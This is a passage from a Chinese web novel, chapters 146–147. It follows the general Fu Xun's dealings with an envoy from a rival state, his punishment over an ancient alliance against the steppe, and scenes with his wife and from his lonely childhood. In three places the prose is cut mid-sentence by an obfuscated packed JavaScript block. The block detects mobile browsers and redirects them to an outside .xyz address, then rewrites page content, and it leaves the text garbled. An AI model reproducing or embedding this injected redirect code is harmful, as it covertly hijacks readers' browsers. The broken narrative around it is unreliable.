苻洵一见城头守军崭新整齐的战甲和兵器,就知道冯太后对金州有多大方,此时要策反基本没戏,不悦地伸了个懒腰、长叹一口气:“白跑一趟,累死了。” 郎琊忍了又忍,含蓄劝道:“主子,咱们还是快走吧……毕竟那是五万人。” 苻洵慢吞吞调转马头,视线扫过身后时,动作一滞,饶有兴味地反复打量起来。不知何时出现四五十个身穿银甲的护卫,骑着马一字排开,恰到好处挡住他们回去的道路。 “让一让。” 他懒散地驱马走近骑士队列,对着正中身穿水蓝长袍的年轻男子淡淡道。 蓝袍男子伸手指向金州城墙:“我只要一招手,这个距离够把你们射成筛子。” “我只要一拔刀,这个距离够把你脑袋砍下来当球踢”,苻洵交叉抱臂、上下打量着他,温声细语,“这细胳膊细腿小身板,拿得动刀么?” 蓝袍男子白皙双颊透出薄红,扯了扯嘴角,挤出个平和的笑:“外臣一介文官,自然拿不动刀,在此恭候多时,是想与贵国谈一桩交易?” 苻洵挑了挑眉:“打不过,想割地求和的交易?” “翊国平南侯元旭,想与贵国谈一桩事关异族的交易”,蓝袍男子不以为意,“建业侯忙着与敝国争这锱铢之地,莫非已忘了北方的强邻?” “外臣可听说,冯栩每年都有大半年在攻打三军郡和燕洺二州,若三郡二州失守,建业侯不妨猜猜,冯栩下一步要打哪儿?一旦北宛骑兵南下渡过伊河,所谓唇亡齿寒……” “啧啧……管得可真宽”,苻洵神色未变,摇头轻嗤,“敝国军务,陛下与末将自有思量,不劳贵国太后幼主费心。” 元旭注视着他双目,笑意愈盛:“先是重建渝安水师,再是补充玄甲营,还有各郡县常驻兵马,哪儿都需要钱。断断续续打了近两年,好几万阵亡将士需要掩埋抚恤,贵国还剩多少钱粮养那几万骑兵?” “嚯,你们南翊果然财大气粗”,苻洵眼中掠过一丝兴味,“若咱们不愿交易呢?” 元旭抱拳一揖:“敝国三川两湖水师,都等着向贵国渝安水师讨教一番,顺便瞅瞅灵昌平原的秋收盛况。” “人心不古啊……口口声声找人谈交易,刀都架在人家脖子上了”,苻洵连连摇头轻叹,“有钱不赚是傻子,怎么交易,说来听听?” 元旭平和谦逊的笑容丝毫未变:“邦交盟约,只怕还需贵国建宁陛下定夺,外臣久居滬南、人生地不熟的,劳烦建业侯带个路。” 苻洵的脸色仍是轻慢的,只是那轻慢凝固了,以至于舒展眉眼时有些生硬,极目看向夏河茫茫江面:“平南侯乘船来的?” 元旭微笑颔首不语。 苻洵兴高采烈向身后挥了挥手,扬声道:“太好了,咱们不必再爬陡坡钻林子了,都跟着平南侯坐船回奉宁。” 元旭:“……” 郎琊、秦川:“……” 停靠夏河南岸的楼船放下跳板,楼船管代、水手,平南侯亲随、仆从和护卫,夹道分成两列,面面相觑看着苻洵带几十名护卫、大摇大摆走上甲板。 元旭正安排亲随仆从,给白袍卫安排住房床褥,又叮嘱船上炊兵多做些饭食。 “那几十人都是荣国土生土长的,口味略重些,多放辣”,苻洵轻松又愉快,悠悠闲闲地说,“我口味随夫人,跟你们一样,滬南菜即可。” 元旭的亲信奚寒悄声道:“侯爷,这就是大名鼎鼎的战神苻洵,怎么看起来这么无赖?” 元旭淡淡道:“够无耻无赖,底线够低,才能屡屡获胜、才成得了战神。” 奚寒眼珠子转了转:“如今,苻洵和几十个近卫尽在咱们掌握之中,不如趁此良机除了这心腹大患。” “不要妄动”,元旭思忖片刻阻止了他,“且不说白袍卫那以一当百的战力,打起来谁输谁赢还不一定。母后和九叔都说苻洵十分狡猾,妄动恐怕落了圈套,金州军就是个现成例子。” “多谢平南侯慷慨相助”,苻洵满脸堆笑走过来道谢,“褥子很干净很软,终于可以睡个好觉。” 元旭谦虚道:“仓促安排,招待不周之处,还请侯爷尽管说。” “如此盛情、却之不恭,咱们一行人钻了半个多月树林,你看这……”苻洵展开双臂,将全身的血迹、泥痕、汗迹展示给元旭看,满脸嫌弃地嗅了嗅鼻子。 元旭嘴角抽搐两下:“奚寒,吩咐人多烧些热水。” 苻洵开开心心朝卧房走去,临走丢下一句:“还是庶子和外室子好说话,脾气好、性情随和,不像嫡长子,一言不合就要板着脸训人。” 元旭和奚寒同时捏紧拳头:“……” 秦川悄声道:“主子这嘴真狠,就跟淬了毒一样。” 郎琊瞥了他一眼:“你再跟他学几年,也能出师了。” 一行人乘坐楼船顺夏河东行、到长济渠北上至洛京,再顺伊河绕向英平郡。 楼船逆着伊河浊黄的激流西行,两岸景色截然不同,宛如云端与炼狱:南岸是大块交织的郁青和金黄,不时有稚子在田埂上奔跑;北岸是斑驳间杂的焦黑和血红,不时有秃鹫从遍地白骨上飞起。 自建宁七年,冯栩占领平阳、定安、武原三大盆地之后,踞守地皇山高地优势,对地处燕洺平原的北翊,两年来发起大大小小上百次突袭,打得有来有回。 元承赟、谢朗、霍修、姜氏全族,尽是些骁勇善战之辈,对于治理农桑、充盈府库却欠点火候,骑兵消耗粮草数目惊人。大翊还未分裂时,北疆在和平时都需从翊东粮仓、滬南道调拨粮草支撑,遑论战时。 如今西有冯栩死磕这块地,南有荣国东原道阻挡,打得北翊弹尽粮绝、仓廪空虚,再是缩减开支也省不出庞大的军费。 南翊阊江朝廷对北翊的态度很微妙,以崔氏为首的威压派,坚称姜氏在昇阳将破时叛逃、自立为王,是乱臣贼子;以冯太后为首的怀柔派,坚称姜氏北上挽救了形势危急的北疆、保住了珍贵的大翊骑兵,于国有大功。 去年初,崔久安以《英烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635793|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本纪》作筏子党同伐异时,冯太后开始往金州军掺沙子,已随军绘制了部分山脉地形图。去年夏,崔长治提出绑架苻洵妻儿,冯太后并未阻拦,冷眼坐视金州军与苻洵结下死仇。 今年围攻奉宁的布署刚送到阊江,冯太后马上秘密集结军队到樊州,玉照关大败的讯息一传出,樊州水师即刻出发、搭载步兵驰援金州。 玉照关大败,崔氏嫡系战死大半、金州险些失守,崔氏从此在朝中偃旗息鼓、气焰不再,无奈接受了冯太后派驻的将士。 这步借刀杀人的棋极险,冯太后却无疑是下棋的高手,时机和分寸都把握得炉火纯青。 她并未止步于此,摁下崔氏气焰的同时,派遣平南侯元旭前往奉宁共商大计、应对北宛。 “先戮力同心、驱走入侵的异族,再与中原邻邦慢慢算账。”元旭临行前,冯太后如是说。 秦川听得一愣一愣,膜拜得五体投地:“这女人好厉害,怪不得能教出翊庄王。” 郎琊十分认同:“权术谋略、制衡势力,不输君王。” “还有更厉害的”,苻洵眉眼带笑,目光缓缓扫过二人,“你们猜,她派驻金州的守城将领都有哪些?” 郎琊面露难色:“主子,眼下金州戒严得厉害,怕是有段时间才能探到。” 苻洵笑容透出寒意:“在金州城下晃眼一瞥,见到一张熟面孔,正是之前随司南侯断后的褚钧良。若我没猜错,这次派往金州的将领,大部分都姓褚。” 秦川大惊:“她知道褚娘子与主子……” 郎琊沉吟:“莫非是前年司南侯在龙城断后,毫发无伤回去,被她看出端倪?” “这些都不重要”,苻洵缓缓摇头,“她先以和亲公主的身份坐稳中宫之位,又成功收服两名庶子,身陷囹圄还能助庄王夺权,何等心机手腕?你们莫要以人之常情揣测她,单从权术制衡的角度想想。” 秦川和郎琊对视一眼,茫然摇摇头。 苻洵笑了,神色冰冷:“其一,南翊幼主孺慕生母,对褚氏十分信重,可褚氏全族在永平朝是纯臣,她作为摄政太后也不能事事顺意,自然是调远些省心。” “其二,崔氏正大力笼络褚氏,崔氏与冯太后的恩怨不消细说,她如今派褚氏去分崔氏的权,正好离间两族。” “这其三,才轮得到你们揣测的那些。” 秦川瞠目结舌:“这一箭三雕,不出手则已,一出手招招致命啊,真是个政斗高手,得亏主子不必跟她打交道。” 苻洵似笑非笑:“她未必对我无计可施……方才陛下接见平南侯之后,召来司天监的人卜算,要择吉日从宗庙请出‘边垣之盟’的副本,平南侯此次出使奉宁,是捧着盟书正本、有备而来的。” 郎琊勃然色变:“边垣之盟与翊、荣两国渊源极深,陛下品格高贵,肯定会认下这份盟书,届时恐对主子不利。” 秦川讶异道:“还真有‘边垣之盟’这玩意儿?我一直以为那是传说呢。” 苻洵舒展眉眼笑了:“我起初也以为是传说,没太在意,直到那次跪宗庙、哥哥请出供奉的副本给我看。” 战争是和平的手段,和平是战争的间隙。 这片存世几千年的大陆,从有人那一刻起就有了争斗,从聚成部落那一刻起就有了战争。恃强凌弱、强存弱亡,胜者统治的疆域越来越大,败者国祚不再、家族消亡。 若一直分不出胜败、消耗惨重,或胜利付出的代价太大时,交战双方就会签个盟约,争取片刻喘息。 大多数的盟约都是这样来的,也都是权宜之计,唯独有一份是例外。 那便是四百多年前,由乌兰、玄阴山以南所有大小国家和部落,自发呼吁、共同签订的,约定一致对外、抵御异族的“边垣之盟”。 146. 玩火自焚 “异族”这个词,说来十分微妙,从血脉来讲,北宛是异族、羽民是异族、西羌诸小国也是异族,蜃洲大陆有上百个土著种族,算下来彼此全是异族。 但大部分国家部落,杂居中原各地躬身农桑、互相通婚联姻,民风民俗兼容并包、逐渐趋同。就连当初渡海而来的七千羽民,在占领莱东之地后,也迅速移风易俗、与当地土著融为一体。仰赖圣人学说,敬畏“天地君亲师”、推崇“仁义礼智信”。 千百年来,这些大小国家部落分分合合,兼并分裂,已形成实际的“同文同种”,譬如当年西陵国、滬国被灭,如今的荣、翊争雄,又被称为“中原内战”。 于是,狭义的异族,仅仅代指北宛、蒙舍十万大山、西羌诸小国,最显眼的当属北宛。 四百多年前的大草原,星罗棋布着大大小小上百个部落,种族不计其数。北地苦寒无以事农桑,养成了那里独特的劫掠习俗。 女人、布匹、武器、牛羊……要什么就去抢,抢到了就是自己的。过程越惨烈残暴,越显出当事人孔武有力、勇气非凡,越被视为勇士、推崇备至。 纵然、所有邦国基业都垫着尸山血海,但每打下一地之后,当政者往往会好生治理此地、发展求存。唯独那些部落以杀戮和破坏为乐,占一块地、屠尽土著,奸淫掳掠无恶不作,故遭到乌兰、玄阴山南各国诸部的一致反感和鄙夷。 但都是些不成气候的流寇,各自为政就足以应付。 直到四百多年前,一名叫布日固德的男子横空出世,花了三十多年时间,从西到东、统一草原大小部落,在阿茹娜雪以北修筑柘枝城,定都于此,国号“宛”。 起初,山南各国诸部都没在意,一如既往地鄙夷和轻视。 直到布日固德以三千狼卫打头阵,全民皆兵,驰骋燕、洺平原之上,不到半年就屠尽当时位于北疆的燕国、洺国和庆国,又趁着暑九寒天伊河结冰,分兵两路渡过伊河。一路攻打翊国洛京,一路屠尽英平郡、玉照等地,直逼戎部聚居的凤台。 存亡之际,戎部首领苻竑向翊景王、虞肃王等人求救,以阖部归顺为条件请求发兵支援。翊景王不愿见虞国坐大,于是发出倡议,呼吁山南各国诸部齐心御敌。北宛骑兵势不可挡,各国诸部都担忧唇亡齿寒,纷纷伸出援手,出粮出钱出人。 同时,参战的各国、诸部落,签订一致对外的“边垣之盟”,共同推举翊景王为盟主,以翊军为主力、共同抵御北宛入侵。签约者众,有虞国、戎部、西陵国,以及其它几十个现在已被灭的大小国家部落。 盟书约定:各盟约成员不得与北宛合兵、联军,或在战时为北宛提供糖盐、布帛等军资。北宛若攻打某一盟约成员、且该国/部向其余盟友求援,无论何国何部、无论当下与求援者或战或和,在收到求救讯息之时,都应立即停战、一致对外,并为盟友提供必要的粮草或兵力支持。 杀伐持续了整整十三年,北疆死了上千万人,盟军终将北宛骑兵赶回玄阴山以北,布日固德在班师途中郁郁而终,这场战争才堪堪停息。 布日固德的儿子岱钦变换思路,为家族改中原姓氏“冯”,自称冯钦,后世称之为宛太祖。冯钦想效仿羽民、求和共存,却因政权无法集中王城,始终不能如愿。 战后,翊国进驻亡国灭种的宣国、燕国、洺国故土,耗尽国库百年积累,从望月关开始、依山体地势建起三千里边墙,又用粮草从戎部交换军马、修建养马场,着手组建轻骑铁骑,成为抵御北宛的第一道防线。 与此同时,戎部也从最初的凤台,扩张到被屠成鬼域的玉照、奉宁、英平郡等地,苻竑立国称王、定都奉宁,后世称之为“荣太祖”。 另有一小股被驱赶到英平郡北部荒漠的北宛散骑,就地定居下来,逐步繁衍分化为后期的河西三十七部。 那块刻着“边垣之盟”的玉板、被各盟约成员抄录无数副本,供奉于宗庙。每一任国君即位之时,都需向天地祖宗发下重誓、将此盟约作为战争的底线。 . 七月初九休沐日,苻沣再召苻洵入宫。出发前苻洵似有所感,并未骑马前去,而是乘坐驷马安车,在安门下车之后,徒步走向那座熟得不能再熟的建筑——宗庙。 郎琊和秦川在安门提心吊胆守了半天,才见苻洵的身影出现在驰道——趴着被抬出来的。 揭开盖在后背的外袍,支离破碎的中衣下,后背皮肉翻卷、绽开模糊的血痕。苻洵被处以一百鞭笞之刑,同时被罢免大部分官职,仅保留渝安水师提督一职。 马车上,郎琊小心翼翼替他清理伤口、上药. 苻洵疼得咝咝吸气,却毫不在意,笑得满脸轻松:“哥哥抢在请盟书之前将我处置了,届时就算翻旧账,平南侯也无甚好说的,关键时候还是亲哥靠得住。” “她一个别国太后,手也伸得太长了吧”,秦川不满地嚷嚷,“要说跟异族来往多,谁能比得过翊国?联姻、互市、通商……她自己都是土生土长的北宛女人。” 郎琊提醒他:“按北宛的规矩出嫁从夫,她和她的儿孙全是翊国人,何况她如今正为抵御异族竭力奔走,实在没什么好指摘的。” 秦川想了想又说:“北宛阏氏还是翊国公主呢,大家都不清白,怎么就只盯着主子?” “若非南翊也撇不清白,我跟冯栩的事没那么容易揭过去,嘶……轻点”,苻洵趴在马车的软榻上,被药粉激得身子一颤,却依然中气十足侃侃而谈,“也多亏前年打下了东原道,功过相抵,否则不必等冯太后质询,哥哥自己都得动手清理门户。” 秦川蹙眉喟叹:“盟约签订四百多年,哪个国家没有跟北宛来往过,像咱们这样偷偷搅浑水的事数不胜数。远的就不说了,当年昭王借冯延之手撵河西三十七部南下,折了英平郡多少骑兵?永平一年那股散骑更不用……怎么到咱们刚好这样运气背,大庭广众被坐实把柄。” 前年七月初三,苻洵包围上阳郡、切断建兴城粮草供给不算什么,毕竟两国正在交战、伺机报复也说得过去。 可是,七月二十二,冯栩大张旗鼓绕过建兴城,跑去拜见苻洵;八月初十,冯栩更是直接率兵援救腹背受敌的苻洵。这两件事,不偏不倚坐实苻洵的大罪——里通异族。 秦川愤愤嘀咕:“你说这冯栩是不是有病,这么大庭广众的……” “他当然是故意的,想拉主子下水”,郎琊无奈耸耸肩,“他前些年一直托人找我,想请主子入北宛一起干大事,哎,这都算什么事?” “算我们运气背”,苻洵轻飘飘叹了口气,“翊庄王辛苦三五年、才拉扯出个资质中上的冯彬,咱们随手一抓、就招惹个大的。” 秦川补充道:“不是一个,是两个。” 苻洵唇角抽搐了两下:“……对,两个,初次瞧见元昙那副柔柔弱弱的样子,还以为她最多只能吹吹枕头风、养养面首、勾三搭四什么的,惹得两国生出嫌隙。居然那么悍勇,两个月不到、徒手干掉两位国君。” 秦川满脸糟心:“当年要不是咱们救得快,褚娘子也被她干掉了。” “要不怎么说运气背”,药粉均匀涂上后背,苻洵撑臂支起上半身,任秦川替他裹棉布,痛得拧成苦瓜脸,“早知冯栩会弑兄,我先一刀抹了他脖子。” 想了想又愤愤道:“那可是亲哥啊,照拂他整整十五年啊,没有冯彬、那狼崽子早冻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649660|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死饿死了,倒也下得去手!” “不是冯栩,是元昙杀的”,秦川飞快纠正,“早知那女人这么下作,主子打死都不该招惹她。简直天生一对,一个比一个疯。” “你还真是哪壶不开提哪壶”,苻洵无奈长叹,脸上显出些担忧,“也不知兕儿和思洛怎样了。” 秦川眼神带了几分怜悯:“主子管那么多作甚?真拿他们当自己孩子了?” “也是我招惹元昙在先,稚子何辜?”苻洵信口说着,忽然愣住,唇边扬起一抹苦笑,“是啊,管那么多作甚?这些日子真是魔怔了,她说什么我都往心里放,成个婚倒把自己……” 马车晃了几晃,已到洛川别苑,秦川赶紧停下碎嘴,飞奔下车去找人抬软榻。 一直沉吟的郎琊忽然开口:“恕卑职直言,主子这次被罢官未必是坏事。” 苻洵眼睛亮了亮:“差不多算好事,跟金州搭得上边的职务都没了,免得跟褚氏兵戎相见,正好安心去渝安操练水师。” 郎琊点头附和:“戎陵和摩云群山那么大,冯太后掺进去的人没个十年探不完,沈绍宗是陛下旧部、擅长防守,金州军一时半会翻不出花来。” “冯太后为了摁住我几年,连边垣之盟都能请出来,可见手里也不剩多少牌”,苻洵赞许地点点头,长吁一口气,“毕竟是乱世,她再精通权术制衡,也替代不了翊庄王的武功威势。” 说起翊庄王,郎琊又想起永平五年那次北伐,偌大北宛几乎被揍成残废。若庄王尚在,怕是没冯栩什么事。可若庄王尚在,怕是如今正跟荣国激战正酣,更糟糕些、苻氏恐怕早已亡国。 前前后后不晓得灭了多少国家,翊国才凑出那么大块的疆域。如此武德充沛的君主,是本国的福祉、更是邻邦的噩梦。 他不禁打了个寒噤,悠悠叹气,试探着问:“主子,至于北疆冯栩那边……咱们骑兵剩得不多,先慢慢养个几年再说?” “你一直跟南宫羽配合得不错,还想不想继续合作”,苻洵笑意渐盛,“玄甲营的重建不能停,你若愿意,我向陛下请命调你去玄甲营任职。” “至于冯栩”,他眼神逐渐严峻、透着坚决与狠戾,“有朝一日,我必定亲手宰掉那狼崽子!” 郎琊点头领命,嘈杂人声越来越近,他掀开车帘瞥了一眼,神色轻快了些:“主子若长居渝安操练水师,也可时常与夫人进山调养。” 然后跳下马车,单膝半跪遥遥行礼:“卑职见过夫人!” 苻洵趴在车厢里,头朝车门,抬头瞄见那匆匆走来的紫色身影,顷刻扭成苦瓜脸、惨不忍睹地闭上双眼,低声自语:“不是说去西市裁秋装?这么快就回来了?” 话音未落,锦瑟已走到马车前,吩咐小厮将他抬上软榻、走向主屋,边走边问:“这么多鞭伤,怎么来的?” 苻洵松了口气,酝酿片刻诚挚地说:“也没什么,不过跟王后说了几句大实话,就被哥哥打了。” 锦瑟好奇:“说了什么?能打成这样?” 苻洵回想:“也没什么,就是‘金州军攻城可是奔着屠城来的’、‘发兵是冯太后批的,丈母娘打女婿’、‘王后母国也不甚顾惜她性命’之类的……” “你活该!”方才还满脸心疼和关切的锦瑟勃然色变,一巴掌拍上他肩膀,“不会说话就闭嘴,哪有这样专门戳人心窝肺管子的?” “诶,疼疼疼……姐姐轻点……”苻洵被拍到伤口,疼得差点弹起来,嗷嗷惨叫。 “果然是夫人最大”,秦川津津有味嗑着瓜子看戏,“听说他们吵架,主子都只敢躲起来喝闷酒。” 郎琊凉飕飕瞥了他一眼:“不会说话就闭嘴。” 147. 短暂的平静 锦瑟正在摘桂花,想赶在苻洵二十九岁生辰前,亲手酿出像样的桂花酒送给他。 禄丰山位置偏南,桂花开得早,七月底已能嗅到浓郁的甜香。挑几棵开得正盛的桂花树,铺上地毡、抱住树干用力摇晃,米粒大小的桂花洋洋洒洒飘坠,似下了一场稠密的雨。 拢起地毡,那些银白、金黄的小花朵,成团成簇滑进竹条簸箕,挑去杂质和发黑的,摊开放在二楼曲廊上等待风干。 再把洁白如雪的糯米清洗浸泡、与干桂花混合均匀,蒸煮后装进大瓷坛,加凉白开和酒曲拌均匀,再封好瓷坛,放在空着的那个饶间内。 她之前在洛川别苑酿过冰雪酒、梅花酒、绿豆酒、玫瑰酒……大都是从酒坊买来现成的酒,自己动手酿酒是头一遭。酿出三坛子醋之后,终于在某个清晨揭开坛盖,见到糯米中心一涡淡金色酒液,浅酌一口不酸不苦,微甜之中带着浓郁酒香。 “大白天的又偷偷尝酒,一杯倒的量,偏偏爱酿这些稀奇古怪的酒……”苻洵眼疾手快、抽走她手中木勺放在一边,转身进了堂屋,“洗手吃饭。” 锦瑟浅浅笑着,狡黠而俏皮,对着他摆碗布筷的背影,不服气地撇了撇嘴,轻声说:“有本事酿出来别喝?” 她酒量是差得出奇,真正喜欢喝这些酒的人,是苻洵。这人像只煮熟的死鸭子,一边将她酿的酒喝得一滴不剩,一边张口闭口地嫌弃。 午膳是酸汤鱼和竹筒焖饭,外加一碟白水煮的苋菜——苻洵又在斋戒。每年生辰前后,他必定会带她进山,她的饮食如常、他则只吃不加一点油盐的淡食。 她起先十分好奇,还跟村民打听何为斋戒,除了吃淡食还需注意什么,结果村里人纷纷表示没听说过。问苻洵,他谎话连篇地编出一套鬼都不信的说辞,末了,她只能悻悻将其归结为苻洵的怪癖。 “我没尝过,鱼的味道可还合适?”苻洵见她津津有味喝着汤,眉眼漾起笑意,“姐姐不吃辣,没放辣椒少了些风味。” 鲜红的汤汁热气腾腾,切成段的鱼肉浸在其中,漂浮着番柿、蒜叶、葱段和小白菜,一口鱼腹一口汤、鲜掉眉毛,酸得她微微蹙眉:“这酸汤……” 苻洵若无其事:“就是你前些天酿出来的那些。” “想不到还有这个妙用”,一连几次酿酒失败的挫折感,霎时荡然无存,她心情明媚起来,不知不觉竟吃掉小半条鱼,“幸亏没有全部倒掉。” 苻洵眼中满是暖意和宠溺,温声说:“整整三坛醋,反正做菜都用不完,我就自作主张分给村民了。” 她笑得眉眼弯弯,显然十分赞同和满意他的举措。 苻洵停了筷子,静静注视她大快朵颐。 她的瞳仁清澈明亮、像六七岁稚子,皮肤粉粉嫩嫩、吹弹可破,双颊饱满生动、晕出浅浅血色,嘴唇红润柔软,穿着藕荷色窄袖齐腰襦裙,举止端雅中透着轻盈,纤长十指生了层薄茧——她成天捣鼓新奇玩意磨出来的。 . 这是他们搬到珪山的第三个年头。 前年七月,平南侯奉“边垣之盟”入奉宁会谈,苻洵受到牵连、几乎被罢免所有官职,仅剩渝安水师提督之职。 水师作战不同于步兵和骑兵,其战力强弱,将士的水性和操控熟稔度只是最基本的,战舰、装备是否精良更是决定因素。 简而言之,烧钱,比骑兵更烧钱。 以荣国如今之幅员,维持各项军费不成问题。但前几年,苻洵开疆拓土、四处征伐,虽将领土面积扩大三倍,却也耗得国库几乎颗粒不剩。 如今南翊的疆域并不比荣国大多少,但他们地处气候最好的滬南,物资丰饶、作物一年两季,税收翻倍。 况且,南翊的底子十分厚实。四年前,翊烈王元承陵以身入局、率十万步兵拖住苻洵近两个月,东原道三十五城所有府库全被清扫一空、搬入新国都阊江,更有祖宗传下的三万水师。 南翊财大气粗,养着这么多常备军,还有余力通过长济渠向北翊支援粮草。长济渠从洛京到樊州,连接长流川、伊河,南翊押运粮草的船只必得从东原道经行,平南侯入奉宁会谈,主要目的便是谈判借水路运粮之事。 苻沣甚是敬重“边垣之盟”,谈判十分顺利。粮草船队入东原道之后,除了必要的水手勤杂,每条船还可留百名押运精兵。当然,这些船队在荣国境内时,全程有荣国重兵“护卫”,而且每运一次粮草,荣国会收一笔过路费。 占了人家国土,再找人收过路费……不知阳华山下埋着的那些元氏祖宗,是否会被气得活过来?苻洵每每想起这茬,都会很厚道地笑出声。 对于荣国,马匹要一茬一茬养、骑兵要一营一营练、战船要一艘一艘建……需要花钱的地方太多,可赋税也得一年一年纳、过路费得一笔一笔收。如今荣国能做的,只有等,等休养生息、等厉兵秣马。 对于南翊,幼主要一年一年长大,将帅之才要一个一个培养,北疆骑兵要一笔一笔支援……冯太后擅内政、却不善韬略。如今南翊能做的,只有熬,熬到幼主成年、熬到新的将星出世。 于是,前些年还打得水深火热、你死我活的两国,此时风平浪静、相安无事,甚至因为苻沣是冯太后女婿这层关系,呈现出一派诡异的其乐融融。 好像元承陵战死、昇阳被破、东原道三十五城被占,以及奉宁被攻打、苻沣被迫重罚兄弟,那些龃龉从未发生过。 冯太后与苻沣,两国最高的实权人物,这胸襟与气魄、这变脸的速度,简直令苻洵咋舌。他有时想起来,都不得不承认,无论是君主还是摄政官,都不是正常人干的。 虽然所有人都知道,两国都在蓄势待发,有朝一日必定战事再起、斗个不死不休。但两次战争间隙、这短暂的和平,已足够令苻洵安闲自得。 . 苻洵从小就很爱热闹,当年初入灵昌王宫、认祖归宗之后,他虽被记在孟贵妃名下,但明眼人都晓得底细。 同为王子,他的兄长们都有从小玩到大的伙伴,或是宗室子弟、或是世家大族的孩子,唯独他没有,大的小的、年龄相仿的孩子都厌恶他。 毕竟是贵族出身,知礼守节,厌恶都厌恶得彬彬有礼、不动声色。 比如,一群孩子兴致盎然说着话,他一靠近、他们就齐齐安静下来;一群孩子兴高采烈玩着游戏,他一表示想加入,他们就一哄而散。 比如,在宫学读书时,詹侯世子忘了带笔,他把自己舍不得用的绿檀紫毫笔借给小世子,小世子谦逊有礼地道谢,却直到散学、都没用那支笔写一个字。 比如,他有次墨锭用完了,借十二哥的研了一砚池墨水,散学后,他看到十二哥的书童拈起两根指头、垫着抹布、将他碰过的墨锭拾起来,丢进茅厕。 他是外室子、还流着蛮族的血,他就像个行走的秽物,触碰过的物件会变脏,走过的道路要净水泼地,住过的屋子要洒扫焚香,就连呼吸过的空气、都要通一阵风才能供其他人呼吸。 他很想和他们一起玩,他太孤单了。苻沣成婚之后就藩英平郡,偌大个王宫,他谁都不认识、谁都不想搭理他。 后来,他发现花园里那些蝉、促织、蝴蝶、蜻蜓之类的虫豸从不躲避他。他孤单时、只要心念一动,它们都会从洞穴里爬到他脚边,或从树上、花丛、叶尖飞到他面前,他好像能看懂它们在地上摆出的图案、在空中翩跹的舞蹈,而它们也都能听懂他的心事。 在外人眼里,他从肮脏的外室子,变成跟虫豸说话的疯子。 他想融入同龄人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661160|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是跟在他们后面,钻地帮他们掏蛐蛐、爬树帮他们捉蝉,为了给十五姐抓最漂亮的蝴蝶,他一头扎进蔷薇丛,被扎得全身是血。那些孩子眉开眼笑,从他手里接过虫子走开,继续不理他。 父王生辰前两天,他在清泉宫蹲了一天一夜,用虫子诱来一对活喜鹊,托苻沣在千秋节宫宴上转交给父王。宴会结束后,苻沣告诉他,父王很喜欢他的礼物,还赐给他一只纯金长命锁,他抱着金锁高兴得几夜没合眼。 直到一年后,他被送往翊国为质,途经英平郡的时候,在郡公府看到那对被精心养护的喜鹊。 刚去翊国那几年,日子并不难熬、甚至比在灵昌还强些。出龙骨关时,苻沣和萧玥娘掏空积蓄,收拾了上百个箱笼,全是布料、珠宝、皮货、金银细软,多得他两辈子都挥霍不完,又安排几个老成可信的嬷嬷、教书先生、护卫随行照应。 到了昇阳,要苟活、必须巴结有权势的人。可国弱民贱,血脉近的元氏宗室、五姓嫡系都不是他能结交上的。来往最多的是些中等世家、四五品京官的纨绔衙内,那些人最喜欢去东西市、或者勾栏瓦舍。 嬷嬷说,勾栏瓦舍都是苦命人,很多是被亲人卖掉的。他看着她们强颜欢笑,总联想到同样被父亲卖掉的自己,就算不得已应酬,他面上逢场作戏,一到人后立即撂开。 陪同应酬久了,他名声越来越差,也越来越厌恶自己。 嬷嬷总心疼地掉泪,说他是好孩子,无论外头怎么说、都不要自暴自弃。 他从不在外宿夜,那是他应酬的底线。他喜欢把床让给嬷嬷,自己睡在榻上。隔着透光的纨素屏风与嬷嬷说话,听着她鲜活的呼吸声入睡,像是小时候在渝安郡,与母亲同睡一间屋子。 这样睡得十分踏实,那些令他窒息的孤单和噩梦,全都追不过来。 就算偶尔被噩梦惊醒,有个比他年长的女子说话,梦里可怖的阴冷就会烟消云散,那些空荡荡的孤单也会被填得扎扎实实。 后来,唯一陪他说话的嬷嬷,永远留在了龙津围场。 逃回灵昌后不久,苻沣请旨接他到英平郡教养,去镇安的马车上,他兴奋得几夜没合眼。直到住进郡公府,他逐渐意识到,苻沣是有家室的人、已经和嫂子生养了女儿,不再是独属他一个人的哥哥。 他终究,成不了任何人心里的首位。 一开始,萧玥娘对他很好、跟刚成婚时候一样好,但他十分嫉妒阿萱她们,明明是他先来、先认识兄嫂,她们凭什么后来者居上。 苻萱只比他小四岁,总缠着他帮忙捉蛐蛐,他厌烦透顶,抓到一对壁虎丢到她书箱里,吓得她一头撞上桌角,额头被撞出个洞、汩汩直冒鲜血。 苻沣揍了他一顿,罚他在祠堂跪三天三夜,萧玥娘给他送饭时,跟从前一样轻声细语,只是笑容变得客气又疏离。他意识到自己做了错事,却不知该怎么弥补,很希望萧玥娘也揍他一顿,可她没有,只是就那样一天天疏远了他。 